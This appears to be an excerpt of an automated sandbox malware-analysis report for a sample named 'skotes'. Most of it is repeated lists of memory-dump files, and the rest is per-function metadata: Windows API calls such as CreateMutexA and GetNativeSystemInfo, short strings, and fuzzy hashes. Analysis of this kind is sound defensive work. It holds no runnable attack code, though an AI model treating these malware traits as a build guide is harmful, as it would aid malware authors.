Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2
API String ID: 396266464-5813163
Opcode ID: 6ba8c5979b1443a96bfb88f4c92f70825d9c992ef0fb6bd364d99d02e6e2b785
Instruction ID: c93a2874c9be859210cbe58872c780e759dad522fcaba15bff2b3e053cdefa0b
Opcode Fuzzy Hash: 6ba8c5979b1443a96bfb88f4c92f70825d9c992ef0fb6bd364d99d02e6e2b785
Instruction Fuzzy Hash: 07316871B042008FEB09DB78CD89BADB76AEBC6314F248219E094A73D1CB3599828752

Function 0003A960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0003A963
CreateMutexA.KERNEL32(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: 48c1ad4c7cb97a3ead4887964f8702a68292e65254ade53cbff76429044ad15b
Instruction ID: 65e5441a1f5464c50168bed877ef12157ee49f638cde193240b016d27ff76a1a
Opcode Fuzzy Hash: 48c1ad4c7cb97a3ead4887964f8702a68292e65254ade53cbff76429044ad15b
Instruction Fuzzy Hash: 13E02C3038E3009DFB44B7B8AC82F2A728C8BD3708F340422F208D61808E689A41C5A3

Function 00038380 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00038524

Strings

L/ds, xrefs: 000383AB

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: L/ds
API String ID: 1721193555-185251681
Opcode ID: 0f1c307b1712119f6874438f9791230410e522f2dab2b11e42961e28b5b3e98b
Instruction ID: 3cfbb8c3134df8b7765c0cff87e554c6e985f3c54b7048bb9cd063acc37ca349
Opcode Fuzzy Hash: 0f1c307b1712119f6874438f9791230410e522f2dab2b11e42961e28b5b3e98b
Instruction Fuzzy Hash: 6A511670D047189BEB25EB28CD497EDB7799B45314F5082E9F809A72C2EF349A848B91

Function 00067124 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0006705B,?,?,00000000,00000000), ref: 00067166

Strings

L/ds, xrefs: 0006712C

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID: L/ds
API String ID: 2574697306-185251681
Opcode ID: 13ce65f5b26b135896b66029d8b3acc5576ed651fb3d3fe3104f078dfb6a453d
Instruction ID: 10073a8911c2ffc3e42f479b472ec41e9a421b84757e15e8f8db6e083be35394
Opcode Fuzzy Hash: 13ce65f5b26b135896b66029d8b3acc5576ed651fb3d3fe3104f078dfb6a453d
Instruction Fuzzy Hash: 16112A7290410DAFDB10DE99C880EDFB7FDAF09314F205267F619E6181EA34EA09CB61

Function 0006B04B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,73642F4C,?,L/ds,0004D3FC,L/ds,?,00047A8B,?,?,?,?,?,?,00037465,?), ref: 0006B07D

Strings

L/ds, xrefs: 0006B04D

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: L/ds
API String ID: 1279760036-185251681
Opcode ID: 287e0ee3a16a3e3fd1593978efd03bc24bc7c55e7e30821f9b536f9a4c445454
Instruction ID: 3eb5217316cc98d3f1788c5fdaf9fc161944e687210d5dd7102b385743b786a1
Opcode Fuzzy Hash: 287e0ee3a16a3e3fd1593978efd03bc24bc7c55e7e30821f9b536f9a4c445454
Instruction Fuzzy Hash: 48E06DB5145625A6FB7132659C01B9FBF8F9B413A0F251221ED64E61A2EF61DC8082E1

Function 00066E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
